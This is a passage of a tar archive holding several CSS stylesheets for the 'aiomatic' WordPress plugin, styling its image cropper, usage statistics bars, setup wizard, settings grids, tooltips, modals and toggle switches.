#aiomatic-cropper-wrapper .media-frame-router .arrows .dashicons { padding: 7px; opacity: .4; } #aiomatic-cropper-wrapper .media-frame-router .arrows.active .dashicons { cursor: pointer; opacity: 1; } #aiomatic-cropper-wrapper .media-frame-router .arrow-l { left: 0; } #aiomatic-cropper-wrapper .media-frame-router .arrow-r { right: 0; } #aiomatic-cropper-wrapper .media-frame-router .media-router { left: 0; position: absolute; } #aiomatic-cropper-wrapper .media-frame-router .media-router a { float: left; } #aiomatic-cropper-wrapper .media-frame-content { bottom: 0; padding-left: 16px; } #aiomatic-cropper-wrapper .attachments-browser .attachments { top: 9px; } #aiomatic-cropper-wrapper .media-frame-toolbar { border-top: none; } #aiomatic-cropper-wrapper .media-toolbar { border: none; } #aiomatic-cropper-wrapper .media-modal-close { border: none !important; } #aiomatic-cropper-wrapper .message.error.aiomatic-crop-smaller, #aiomatic-cropper-wrapper .message.error.aiomatic-crop-retina-smaller { border-left-color: #FFFF00; } #aiomatic-replace-restore-wrapper { display: none; position: absolute; z-index: 100; top: 6px; right: 6px; } .cropper-container #aiomatic-replace-restore-wrapper { display: block; } #aiomatic-replace-restore-wrapper #aiomatic-restore-img-btn { margin-left: 6px; } .aiomatic-not-existing-crop img { display: none; } #aiomatic-cropper-preview { overflow: hidden; } .autox-thickbox.button { margin: 0 5px; } .aiomatic-cropper-quality-wrapper { margin-top: 24px; } .aiomatic-crop-now-wrapper { margin-top: 12px; min-height: 30px; float: left; width: 100%; padding-bottom: 5px; } #aiomatic-cropper-wrapper .aiomatic-crop-now-wrapper a { float: left; } #aiomatic-cropper-wrapper .aiomatic-crop-now-wrapper .spinner { margin: 6px 0 0 6px; float: left; } .aiomatic-size-row td, .aiomatic-size-row th { padding-bottom: 6px; } .aiomatic-size-type-row td, .aiomatic-size-type-row th { padding-top: 6px; } .aiomatic-size-row .aiomatic-first { display: inline-block; padding-right: 12px; } #aiomatic-replace-media-uploader .media-sidebar { display: none; } #aiomatic-replace-media-uploader .attachments-browser .attachments, #aiomatic-replace-media-uploader .attachments-browser .uploader-inline, #aiomatic-replace-media-uploader .attachments-browser .media-toolbar { right: 0; } #aiomatic-cropper-wrapper .spinner.is-active { display: inline-block; }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/stats-chatgpt.css����������������������������������������������������������������������������0000644�����������������00000004045�14757771437�0011420 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.aiomatic_normal { color: inherit; text-decoration: inherit; } a.aiomatic_normal:link{ color: white; } a.aiomatic_normal:visited{ color:white; } a.aiomatic_normal:hover{ color:white; } a.aiomatic_normal:focus{ color:white; } a.aiomatic_normal:active{ color:white; } .aiomatic-statistics { --aiomatic-spacing: 15px; --aiomatic-fontSize: 15px; --aiomatic-borderRadius: 10px; --aiomatic-fontColor: #000000; --aiomatic-backgroundPrimaryColor: #454654; --aiomatic-backgroundSecondaryColor: #343541; --aiomatic-aiAvatarBackgroundColor: #10a37f; --aiomatic-userAvatarBackgroundColor: #135ea4; --aiomatic-headerButtonsColor: #555555; } .aiomatic-statistics-usage { display: flex; } .aiomatic-statistics-usage .aiomatic-statistics-bar-container { flex: auto; background: var(--aiomatic-backgroundSecondaryColor); border-radius: var(--aiomatic-borderRadius); padding: 3px; text-align: center; height: 30px; } .aiomatic-statistics-usage .aiomatic-statistics-bar-container .aiomatic-statistics-bar { background: #2c9b80; border-radius: var(--aiomatic-borderRadius); height: 100%; } .aiomatic-statistics-usage .aiomatic-statistics-bar-container .aiomatic-statistics-bar .aiomatic-statistics-bar-text { color: var(--aiomatic-fontColor); font-size: var(--aiomatic-fontSize); } .aiomatic-statistics-usage .aiomatic-statistics-bar-text { display: flex; align-items: center; justify-content: center; padding-left: 10px; color: var(--aiomatic-fontColor); font-size: var(--aiomatic-fontSize); } #stat_table input,textarea,select { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif; } #stat_table td, #stat_table th { border: 1px solid #ddd; padding: 2px; } #stat_table tr:nth-child(even){background-color: #f2f2f2;} #stat_table tr:hover {background-color: #ddd;} #stat_table th { padding-top: 12px; padding-bottom: 12px; text-align: left; background-color: #5cb85c; color: white; } #stat_table th { text-align:center !important; } #stat_table th .bws_help_box.dashicons-editor-help { color:white; }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/setup.css������������������������������������������������������������������������������������0000644�����������������00000016032�14757771437�0007771 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.ai-section-title { font-size: 1.5em; } .cr-youtube-video { aspect-ratio: 16 / 9; width: 100%; } .cr_autocomplete{opacity:0;position:absolute} body { margin: 60px auto 24px; box-shadow: none; background: #f1f1f1; padding: 0; } .aiomatic-logo { text-align: center; } .aiomatic50p { width: 50% !important; } .notice-dismiss { display:none; } .aiomatic-logo a { text-decoration: none; } #aiomatic_enable_types { height:60px; } .aiomatic-setup-content { box-shadow: 0 1px 3px rgba(0, 0, 0, 0.13); padding: 24px 24px 0; background: #fff; overflow: hidden; zoom: 1; } .aiomatic-setup-content h1, .aiomatic-setup-content h2, .aiomatic-setup-content h3, .aiomatic-setup-content table { margin: 0 0 24px; border: 0; padding: 0; color: #666; clear: none; } .aiomatic-setup-content p { margin: 0 0 24px; font-size: 1em; line-height: 1.75em; color: #666; } .aiomatic-setup-content ul.unstyled { list-style: none; margin: 0 0 20px 0; } .aiomatic-setup-content ul.unstyled li { padding-bottom: 10px; } .aiomatic-setup-content ul.unstyled li.add-new { padding-top: 15px; } .aiomatic-setup-content table { font-size: 1em; line-height: 1.75em; color: #666; } .aiomatic-setup-content a { color: #a16696; } .aiomatic-setup-content a:hover, .aiomatic-setup-content a:focus { color: #111; } .aiomatic-setup-content .form-table th { width: 35%; vertical-align: top; font-weight: normal; } .aiomatic-setup-content .form-table td { vertical-align: top; } .aiomatic-setup-content .form-table td select, .aiomatic-setup-content .form-table td input { width: 100%; box-sizing: border-box; } .aiomatic-setup-content .form-table td select { border: 1px solid #ccc; padding: 0 10px; vertical-align: middle; line-height: 28px; height: 28px; font-size: 14px; } .aiomatic-setup-content .form-table td input[size] { width: auto; } .aiomatic-setup-content .form-table td .description { line-height: 1.5em; display: block; margin-top: 0.25em; color: #999; font-style: italic; } .aiomatic-setup-content .form-table td .input-checkbox-ai, .aiomatic-setup-content .form-table td .input-radio { width: auto; box-sizing: inherit; padding: inherit; margin: 0 0.5em 0 0; box-shadow: none; } .aiomatic-setup-content .form-table .section_title td { padding: 0; } .aiomatic-setup-content .form-table .section_title td h2, .aiomatic-setup-content .form-table .section_title td p { margin: 12px 0 0; } .aiomatic-setup-content .form-table th, .aiomatic-setup-content .form-table td { padding: 12px 0; margin: 0; border: 0; } .aiomatic-setup-content .form-table th:first-child, .aiomatic-setup-content .form-table td:first-child { padding-right: 1em; } .aiomatic-setup-content .final-step { text-align: center; } .aiomatic-setup-content .final-step h1 { border-bottom: 1px solid #eee; padding-bottom: 20px; margin-bottom: 30px; } .aiomatic-setup-content .final-step h2 { float: left; width: 36%; text-align: right; margin-right: 20px; } .aiomatic-setup-content .final-step a { float: left; } .aiomatic-setup-content .final-step .btn-add-employees { margin-right: 10px; } .aiomatic-setup-content .two-col { overflow: hidden; margin: 0 0 24px; } .aiomatic-setup-content .two-col::after { content: ''; clear: both; } .aiomatic-setup-content .two-col .col-first, .aiomatic-setup-content .two-col .col-last { width: 50%; box-sizing: border-box; float: left; } .aiomatic-setup-content .aiomatic-setup-next-steps { overflow: hidden; margin: 0 0 24px; } .aiomatic-setup-content .aiomatic-setup-next-steps h2 { margin-bottom: 12px; } .aiomatic-setup-content .aiomatic-setup-actions { overflow: hidden; } .aiomatic-setup-content .aiomatic-setup-actions .button { float: right; font-size: 1.25em; padding: 0.5em 1em; line-height: 1em; margin-right: 0.5em; height: auto; } .aiomatic-setup-content .aiomatic-setup-actions .button-primary { float: right; } .aiomatic-setup-steps { padding: 0 0 24px; margin: 0; list-style: none outside; overflow: hidden; color: #ccc; width: 100%; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; } .aiomatic-setup-steps li { width: 20%; float: left; padding: 0 0 0.8em; margin: 0; text-align: center; position: relative; border-bottom: 4px solid #ccc; line-height: 1.4em; } .aiomatic-setup-steps li a { color: inherit; text-decoration: none; } .aiomatic-setup-steps li a:focus { outline: 0; box-shadow: none; } .aiomatic-setup-steps li:before { content: ""; border: 4px solid #ccc; border-radius: 100%; width: 4px; height: 4px; position: absolute; bottom: 0; left: 50%; margin-left: -6px; margin-bottom: -8px; background: #fff; } .aiomatic-setup-steps li.active { border-color: #008ec2; color: #008ec2; } .aiomatic-setup-steps li.active:before { border-color: #008ec2; } .aiomatic-setup-steps li:focus { outline: 0; } .aiomatic-setup-steps li.done { border-color: #008ec2; color: #008ec2; } .aiomatic-setup-steps li.done:before { border-color: #008ec2; background: #008ec2; } .aiomatic-return-to-dashboard { font-size: 0.85em; color: #b5b5b5; margin: 1.18em 0; display: block; text-align: center; } /* Toggle switch */ .form-table { /* End toggle switch */ } .form-table .updated p { margin-bottom: 10px; } .form-table .switch-input { display: none; } .form-table .switch-label { position: relative; display: inline-block; min-width: 112px; cursor: pointer; font-weight: 500; text-align: left; margin: 2px 0; padding: 0 0 0 44px; } .form-table .switch-label:before, .form-table .switch-label:after { content: ""; position: absolute; margin: 0; outline: 0; top: 50%; -ms-transform: translate(0, -50%); -webkit-transform: translate(0, -50%); transform: translate(0, -50%); -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } .form-table .switch-label:before { left: 1px; width: 34px; height: 14px; background-color: #9E9E9E; border-radius: 8px; } .form-table .switch-label:after { left: 0; width: 20px; height: 20px; background-color: #FAFAFA; border-radius: 50%; box-shadow: 0 3px 1px -2px rgba(0, 0, 0, 0.14), 0 2px 2px 0 rgba(0, 0, 0, 0.098), 0 1px 5px 0 rgba(0, 0, 0, 0.084); } .form-table .switch-label .toggle--on { display: none; } .form-table .switch-label .toggle--off { display: inline-block; } .form-table .switch-input:checked + .switch-label:before { background-color: #bbdefb; } .form-table .switch-input:checked + .switch-label:after { background-color: #2196f3; -ms-transform: translate(80%, -50%); -webkit-transform: translate(80%, -50%); transform: translate(80%, -50%); } .form-table .switch-input:checked + .switch-label .toggle--on { display: inline-block; } .form-table .switch-input:checked + .switch-label .toggle--off { display: none; } .plugin-install-info { display: block; text-align: center; color: #999; line-height: 1.5em; margin-bottom: 15px; padding: 5px; border-radius: 4px; font-size: 14px; } .plugin-install-info .plugin-install-info-list-item a { font-style: italic; } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/aiomatic-browser.css�������������������������������������������������������������������������0000644�����������������00000053762�14757771437�0012113 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.grid-keywords-heading-aiomatic { background-color: #e8e8e8; color: #333; padding: 10px; font-weight: bold; border-radius: 4px; align-items: center; justify-content: space-between; box-shadow: 0 2px 4px rgba(0,0,0,0.05); margin-bottom: 8px; } .cr_inline { display: inline; } #grid-models-aiomatic { display: grid; } .table-responsive #grid-models-aiomatic { display: grid; grid-template-columns: repeat(4, 1fr); grid-template-columns: 10% 10% 38% 38%; gap: 10px; align-items: start; } .table-responsive #grid-models-aiomatic .grid-header, .table-responsive #grid-models-aiomatic div { box-sizing: border-box; } .table-responsive #grid-models-aiomatic input[type="text"], .table-responsive #grid-models-aiomatic input[type="url"], .table-responsive #grid-models-aiomatic input[type="number"], .table-responsive #grid-models-aiomatic select { width: 100%; max-width: 100%; box-sizing: border-box; } .table-responsive #grid-models-aiomatic .bws_help_box { position: relative; } .table-responsive #grid-models-aiomatic .bws_hidden_help_text { position: absolute; width: 260px; right: 0; background-color: #fff; display: none; } .table-responsive #grid-models-aiomatic .bws_help_box:hover .bws_hidden_help_text { display: block; } #grid-keywords-aiomatic { display: grid; grid-template-columns: 5% 5% 14% 14% 14% 14% 14%; } .table-responsive #grid-keywords-aiomatic { display: grid; grid-template-columns: repeat(7, 1fr); gap: 10px; align-items: start; } .table-responsive #grid-keywords-aiomatic .grid-header, .table-responsive #grid-keywords-aiomatic div { box-sizing: border-box; } .table-responsive #grid-keywords-aiomatic input[type="text"], .table-responsive #grid-keywords-aiomatic input[type="url"], .table-responsive #grid-keywords-aiomatic input[type="number"], .table-responsive #grid-keywords-aiomatic select { width: 100%; max-width: 100%; box-sizing: border-box; } .table-responsive #grid-keywords-aiomatic .bws_help_box { position: relative; } .table-responsive #grid-keywords-aiomatic .bws_hidden_help_text { position: absolute; width: 260px; right: 0; background-color: #fff; display: none; } .table-responsive #grid-keywords-aiomatic .bws_help_box:hover .bws_hidden_help_text { display: block; } #grid-keywords-chatbot-aiomatic { display: grid; grid-template-columns: 10% 70% 10% 10%; } .table-responsive #grid-keywords-chatbot-aiomatic { display: grid; grid-template-columns: repeat(4, 1fr); gap: 10px; align-items: start; } .table-responsive #grid-keywords-chatbot-aiomatic .grid-header, .table-responsive #grid-keywords-chatbot-aiomatic div { box-sizing: border-box; } .table-responsive #grid-keywords-chatbot-aiomatic input[type="text"], .table-responsive #grid-keywords-chatbot-aiomatic input[type="url"], .table-responsive #grid-keywords-chatbot-aiomatic input[type="number"], .table-responsive #grid-keywords-chatbot-aiomatic select { width: 100%; max-width: 100%; box-sizing: border-box; } .table-responsive #grid-keywords-chatbot-aiomatic .bws_help_box { position: relative; } .table-responsive #grid-keywords-chatbot-aiomatic .bws_hidden_help_text { position: absolute; width: 260px; right: 0; background-color: #fff; display: none; } .table-responsive #grid-keywords-chatbot-aiomatic .bws_help_box:hover .bws_hidden_help_text { display: block; } @media (max-width: 1210px) { .grid-keywords-heading-aiomatic, .cr_center { text-align: center; padding: 0px; } } .grid-wizard-heading-aiomatic { background-color: #e8e8e8; color: #333; padding: 10px; font-weight: bold; border-radius: 4px; align-items: center; justify-content: space-between; box-shadow: 0 2px 4px rgba(0,0,0,0.05); margin-bottom: 8px; } .table-responsive #grid-wizard-aiomatic { display: grid; grid-template-columns: repeat(4, 1fr); gap: 10px; align-items: start; } .table-responsive #grid-wizard-aiomatic .grid-header, .table-responsive #grid-wizard-aiomatic div { box-sizing: border-box; } .table-responsive #grid-wizard-aiomatic input[type="text"], .table-responsive #grid-wizard-aiomatic input[type="url"], .table-responsive #grid-wizard-aiomatic input[type="number"], .table-responsive #grid-wizard-aiomatic select { width: 100%; max-width: 100%; box-sizing: border-box; } .table-responsive #grid-wizard-aiomatic .bws_help_box { position: relative; } .table-responsive #grid-wizard-aiomatic .bws_hidden_help_text { position: absolute; width: 260px; right: 0; background-color: #fff; display: none; } .table-responsive #grid-wizard-aiomatic .bws_help_box:hover .bws_hidden_help_text { display: block; } @media (max-width: 1210px) { #grid-wizard-aiomatic { grid-gap: 10px; } .grid-wizard-heading-aiomatic, .cr_center { text-align: center; padding: 0px; } } @media (max-width: 900px) { .nav-tab-wrapper { text-align: center; } } .widefat { clear:unset!important; } #aiomatic_roaylty_free_sortable { list-style-type: none; margin: 0; padding: 0; } .aiomatic_th { margin-bottom: 9px; padding: 15px 10px!important; line-height: 1.3; vertical-align: middle; } .aiomatic-important { background-color: #eeeeee!important; border: 2px solid #2271b1!important; font-weight: bold!important; color: #2271b1!important; padding: 5px!important; margin: 10px!important; box-shadow: 0 0 10px #2271b1!important; } .aiomaticloader { margin-left: auto; margin-right: auto; border: 4px solid rgba(0, 0, 0, 0.1); border-top: 4px solid #3498db; border-radius: 50%; width: 30px; height: 30px; animation: aiomaticspin 2s linear infinite; } @keyframes aiomaticspin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .aiomatic-margin10 { margin: 10px; } .aiomatic-big-font { font-size: 1.7em; } .aisortable-card { background-color: #f2f2f2; border: 1px solid #ccc; border-radius: 4px; cursor: move; margin-bottom: 5px; padding: 10px; } .embedtool {position: relative;height: 0;padding-top: 56%;overflow: hidden;max-width: 100%;} .embedtool iframe, .embedtool object, .embedtool embed { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .embedtool .fluid-vids {position: initial !important} .aiomatic-paging-controller { margin-left: auto; margin-right: 0; text-align: right; } .aiomatic-full-size { width:100%!important; max-width:100%!important; } .aimt-10 { margin-top:10px; } .codemodalfzr { display: none; position: fixed; z-index: 1000; padding-top: 40px; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgb(0,0,0); background-color: rgba(0,0,0,0.4); } .aiomatic_image_response { max-width: 100%; } #aiomatic-templates-panel { display: flex; flex-wrap: wrap; margin-right: -0.75rem; margin-left: -0.75rem; } .aiomatic-text-center { text-align: center; } .codemodalfzr-content { position: relative; background-color: #fefefe; margin: auto; padding: 0; border: 1px solid #888; width: 65%; box-shadow: 0 4px 8px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19); -webkit-animation-name: animatetop; -webkit-animation-duration: 0.4s; animation-name: animatetop; animation-duration: 0.4s } @-webkit-keyframes animatetop { from {top:-300px; opacity:0} to {top:0; opacity:1} } @keyframes animatetop { from {top:-300px; opacity:0} to {top:0; opacity:1} } .codeclosefzr { color: white; float: right; font-size: 28px; font-weight: bold; } .codeclosefzr:hover, .codeclosefzr:focus { color: #000; text-decoration: none; cursor: pointer; } .codeokfzr { color: white; float: right; font-size: 28px; font-weight: bold; } .codeokfzr:hover, .codeokfzr:focus { color: #000; text-decoration: none; cursor: pointer; } .codemodalfzr-header { padding: 2px 16px; background-color: #5cb85c; color: white; } .codemodalfzr-body {padding: 2px 16px;max-height:75vh;overflow:auto;} .codemodalfzr-footer { padding: 2px 16px; background-color: #5cb85c; color: white; } .top_heading { margin-top: 0px; margin-bottom: 8px; color: #1d2327; font-size: 1.3em; margin: 1em 0; display: block; font-weight: 600; display: block; font-size: 1.5em; margin-block-start: 0.83em; margin-block-end: 0.83em; margin-inline-start: 0px; margin-inline-end: 0px; font-weight: bold; } .tool { cursor: help; position: relative; padding: 5px 0px 5px; } .paddings_cr { padding: 5px 10px 5px 5px; } .cr_display_none { display:none; } .tool::before, .tool::after { left: 50%; opacity: 0; position: absolute; z-index: -100; } .tool:hover::before, .tool:focus::before, .tool:hover::after, .tool:focus::after { opacity: 1; transform: scale(1) translateY(0); z-index: 100; } .tool::before { border-style: solid; border-width: 1em 0.75em 0 0.75em; border-color: #3E474F transparent transparent transparent; bottom: 100%; content: ""; margin-left: -0.5em; transition: all .65s cubic-bezier(.84,-0.18,.31,1.26), opacity .65s .5s; transform: scale(.6) translateY(-90%); } .tool:hover::before, .tool:focus::before { transition: all .65s cubic-bezier(.84,-0.18,.31,1.26) .2s; } .tool::after { background: #3E474F; border-radius: .25em; bottom: 180%; color: #EDEFF0; content: attr(data-tip); margin-left: -8.75em; padding: 1em; transition: all .65s cubic-bezier(.84,-0.18,.31,1.26) .2s; transform: scale(.6) translateY(50%); width: 17.5em; } .tool:hover::after, .tool:focus::after { transition: all .65s cubic-bezier(.84,-0.18,.31,1.26); } @media (max-width: 760px) { .tool::after { font-size: .75em; margin-left: -5em; width: 10em; } } .ai-chat { display: block; padding: 20px; overflow:scroll; overflow-x:hidden; overflow-y: auto; height: 100%; max-height: 500px; } .chat-form-control { max-height: 90px; font-size: 1rem; line-height: 1.5; border-radius: 0.25rem; background-color: #f7f7f9; border-color: #e1e3e6; box-shadow: none; width: 100%!important; max-width: 100%!important; transition: box-shadow 0.15s ease-in-out, border-color 0.15s ease-in-out; resize: vertical; } .chat-form-control:focus { border-color: #55a7e2; box-shadow: 0 0 0 0.2rem rgba(85, 167, 226, 0.25); } .ai-wrapper { display:flex; } .ai-chat .ai-bubble { padding: 10px; border-radius: 10px; margin-bottom: 10px; max-width: 100%; } .aiomatic-big { font-size: 150%!important; } .aiomatic-middle { text-align: center!important; } .aiomatic-minor-publishing-actions { padding: 5px 5px 5px; text-align: right; } .ai-chat .ai-bubble.ai-mine { background-color: #0084ff; color: white; } .ai-chat .ai-bubble.ai-other { background-color: #f0f0f0; color: black; } .ai-avatar { width: 40px; height: 40px; min-width: 40px; min-height: 40px; border-radius: 50%; margin-right: 10px; } .cr-align-left { text-align: left; } .coderevolution_gutenberg_input { width:100%!important; max-width:100%!important; } .coderevolution_block_input { display:block; width:100%; } .youtube-responsive { aspect-ratio: 16 / 9;width: 100%; } .aiomatic-finetune-cancelled, .aiomatic-finetune-failed, .aiomatic-finetune-deleted{ color: #fb0000!important; } .aiomatic-finetune-pending{ color: #cb7305 !important; } .aiomatic-finetune-succeeded{ color: #10922c !important; } .cr_textarea_pass { color: transparent; text-shadow: 0 0 8px rgba(0,0,0,0.5); } .coderevolution_gutenberg_select { width:100%; max-width: 100% !important; } .coderevolution_circle { list-style-type: circle; padding-left: 20px; } .cr-dashed { border-top: 1px dotted; } .wpaiomatic-delete { color: red; cursor: pointer; } .wpaiomatic-delete-menu { color: red; cursor: pointer; } .gs_popuptype_holder input[type="text"] { width:100%; } .gs_popuptype_holder input[type="url"] { width:100%; } .gs_popuptype_holder input[type="email"] { width:100%; } .gs_popuptype_holder select { width:100%; } .gs_popuptype_holder textarea { width:100%; } .tooltip { position: relative; display: inline-block; border-bottom: 1px dotted black; } .cr_hidden { visibility: hidden; } .tooltip .tooltiptext { visibility: hidden; width: 120px; background-color: #555; color: #fff; text-align: center; border-radius: 6px; padding: 5px 0; position: absolute; z-index: 1; bottom: 125%; left: 50%; margin-left: -60px; opacity: 0; transition: opacity 1s; } .tooltip .tooltiptext::after { content: ""; position: absolute; top: 100%; left: 50%; margin-left: -5px; border-width: 5px; border-style: solid; border-color: #555 transparent transparent transparent; } .tooltip:hover .tooltiptext { visibility: visible; opacity: 1; } .tabela { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif; border-collapse: collapse; width: 100%; } .tabela td, .tabela th { border: 1px solid #ddd; padding: 8px; text-align: center; } .tabela tr:nth-child(even){background-color: #f2f2f2;} .tabela tr:hover {background-color: #ddd;} .tabela th { padding-top: 12px; padding-bottom: 12px; background-color: #4CAF50; color: white; } .textIn { min-width: 220px; } @media only screen and (max-width: 1170px) { table.responsive { margin-bottom: 0; overflow: hidden; overflow-x: scroll; display: block; white-space: nowrap; } table.aiomatic-automation { white-space: normal; } } @media only screen and (max-width: 710px) { .aiomatic-tbody-automation { display: grid!important; } .aiomatic_block_me { display:block!important; } } .gs_popuptype_holder { border:1px solid #ccc; padding: 20px; background-color: white; } .checkboxOne { background: none repeat scroll 0 0 #484848; border-radius: 100%; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.5); height: 40px; margin: -30px 200px; position: relative; width: 40px; } .tabel { text-align: center; } .tabel td { width: 9%; } .checkboxOne input[type="checkbox"]:checked + label { background: none repeat scroll 0 0 #6E0000; } .checkboxOne label:before { content:'N'; padding:6px; color:#000000; display: block; padding: 4px; text-align: center; } .checkboxOne input[type="checkbox"]:checked + label:before { content:'Y'; padding:6px; color:#FFFFFF; display:block; padding: 4px; text-align: center; } .bws_help_box { background-repeat: no-repeat; cursor: pointer; height: 28px; position: relative; margin: 3px 5px; width: 28px; display: inline-block; } .bws_help_box:not(.dashicons) { vertical-align: middle; } .bws_help_box.dashicons-editor-help { background: none; color: #0074a2; height: auto; width: auto; margin: 0; } .bws_help_box.dashicons-editor-help:hover { color: #2ea2cc; } .bws_hidden_help_text_top { background: #fff; border: 1px solid #DCDCDC; left: 40px; padding: 5px; position: absolute; width: auto; line-height: 1.5; display: none; color: #333; font-size: 12px; font-family: "Open Sans",sans-serif; text-align: left; bottom: 0px!important; top: auto!important; } .dashicons-editor-help .bws_hidden_help_text_top { left: 30px; top: -6px; } .bws_hidden_help_text_top:after, .bws_hidden_help_text_top:before { position: absolute; content: ""; width: 0; height: 0; left: -10px; bottom: 7px!important; direction: ltr; } .bws_hidden_help_text_top:before { border-top: 8px solid transparent; border-bottom: 8px solid transparent; border-right: 11px solid #DCDCDC; z-index: -1; margin-top: -1px; margin-left: -2px; } .bws_hidden_help_text_top:after { border-top: 7px solid transparent; border-bottom: 7px solid transparent; border-right: 10px solid #fff; } .bws_hidden_help_text_top:after { border-top: 7px solid transparent; border-bottom: 7px solid transparent; border-right: 10px solid #fff; } .bws_hidden_help_text_top code { padding: 2px 5px 1px; } .bws_help_box:hover .bws_hidden_help_text_top {min-width: 260px; display: inline-block; z-index: 1001; } .bws_hidden_help_text { background: #fff; border: 1px solid #DCDCDC; left: 40px; padding: 5px; position: absolute; width: auto; line-height: 1.5; display: none; color: #333; font-size: 12px; font-family: "Open Sans",sans-serif; text-align: left; } .dashicons-editor-help .bws_hidden_help_text { left: 30px; top: -6px; } .bws_hidden_help_text:after, .bws_hidden_help_text:before { position: absolute; content: ""; width: 0; height: 0; left: -10px; top: 7px; direction: ltr; } .bws_hidden_help_text:before { border-top: 8px solid transparent; border-bottom: 8px solid transparent; border-right: 11px solid #DCDCDC; z-index: -1; margin-top: -1px; margin-left: -2px; } .bws_hidden_help_text:after { border-top: 7px solid transparent; border-bottom: 7px solid transparent; border-right: 10px solid #fff; } .bws_hidden_help_text:after { border-top: 7px solid transparent; border-bottom: 7px solid transparent; border-right: 10px solid #fff; } .bws_hidden_help_text code { padding: 2px 5px 1px; } .bws_help_box:hover .bws_hidden_help_text {min-width: 260px; display: inline-block; z-index: 1001; } .aiomatic-inline-flex { display: inline-flex; } .slideThree { width: 80px; height: 26px; background: #333; margin: 2px 2px; -webkit-border-radius: 50px; -moz-border-radius: 50px; border-radius: 50px; position: relative; -webkit-box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,0.2); -moz-box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,0.2); box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,0.2); } input[type=checkbox].input-checkbox-ai{ visibility:hidden; } .slideThree:after { content: 'OFF'; font: 12px/26px Arial, sans-serif; color: #000; position: absolute; right: 10px; z-index: 0; font-weight: bold; text-shadow: 1px 1px 0px rgba(255,255,255,.15); } .slideThree:before { content: 'ON'; font: 12px/26px Arial, sans-serif; color: #00bf00; position: absolute; left: 10px; z-index: 0; font-weight: bold; } .slideThree label { display: block; width: 34px; height: 20px; -webkit-border-radius: 50px; -moz-border-radius: 50px; border-radius: 50px; -webkit-transition: all .4s ease; -moz-transition: all .4s ease; -o-transition: all .4s ease; -ms-transition: all .4s ease; transition: all .4s ease; cursor: pointer; position: absolute; top: 3px; left: 3px; z-index: 1; -webkit-box-shadow: 0px 2px 5px 0px rgba(0,0,0,0.3); -moz-box-shadow: 0px 2px 5px 0px rgba(0,0,0,0.3); box-shadow: 0px 2px 5px 0px rgba(0,0,0,0.3); background: #fcfff4; background: -webkit-linear-gradient(top, #fcfff4 0%, #dfe5d7 40%, #b3bead 100%); background: -moz-linear-gradient(top, #fcfff4 0%, #dfe5d7 40%, #b3bead 100%); background: -o-linear-gradient(top, #fcfff4 0%, #dfe5d7 40%, #b3bead 100%); background: -ms-linear-gradient(top, #fcfff4 0%, #dfe5d7 40%, #b3bead 100%); background: linear-gradient(top, #fcfff4 0%, #dfe5d7 40%, #b3bead 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#fcfff4', endColorstr='#b3bead',GradientType=0 ); } .slideThree input[type=checkbox]:checked + label { left: 43px; } .container { text-align: center; } .container > h2 { text-align: center; } .x-split-button { position: relative; display: inline-block; text-align: left; margin-top: 20px; } .x-button { position: relative; margin: 0; height: 30px; float: left; outline: none; line-height: 27px; background: #F2F2F2; border: 1px solid #E0E0E0; box-shadow: 1px 1px 2px #E0E0E0; } .x-button:hover { cursor: pointer; background: #E0E0E0; } .x-button:active { background: #D3D3D3; } .x-button.x-button-drop { border-left: 0; height: 30px; } .open > .x-button-drop-menu { display: block; } .aiomatic_none { display: none; } .margin5 { margin-bottom: 5px; } .colorgr { color: green; } .width50p { width: 50px; } .x-button-drop-menu { position: absolute; top: 27px; right: 0; z-index: 1000; display: none; float: left; min-width: 160px; padding: 5px 0; margin: 2px 0 0; font-size: 14px; list-style: none; background-color: #F2F2F2; background-clip: padding-box; border: 1px solid #E0E0E0; box-shadow: 1px 1px 2px #E0E0E0; } .x-button-drop-menu li a { display: block; padding: 3px 20px; clear: both; font-family: arial; color: #444; text-decoration: none; } .x-button-drop-menu li a:hover { background: #D3D3D3; }��������������styles/aiomatic-limits.css��������������������������������������������������������������������������0000644�����������������00000003227�14757771437�0011720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.tablediv { display:table; } .tablecelldiv { display: table-cell; width: 100%; } .full_w_button { width:100%; } .codemodalfzr { display: none; position: fixed; z-index: 1; padding-top: 40px; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgb(0,0,0); background-color: rgba(0,0,0,0.4); } .codemodalfzr-content { position: relative; background-color: #fefefe; margin: auto; padding: 0; border: 1px solid #888; width: 65%; box-shadow: 0 4px 8px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19); -webkit-animation-name: animatetop; -webkit-animation-duration: 0.4s; animation-name: animatetop; animation-duration: 0.4s } @-webkit-keyframes animatetop { from {top:-300px; opacity:0} to {top:0; opacity:1} } @keyframes animatetop { from {top:-300px; opacity:0} to {top:0; opacity:1} } .codeclosefzr { color: white; float: right; font-size: 28px; 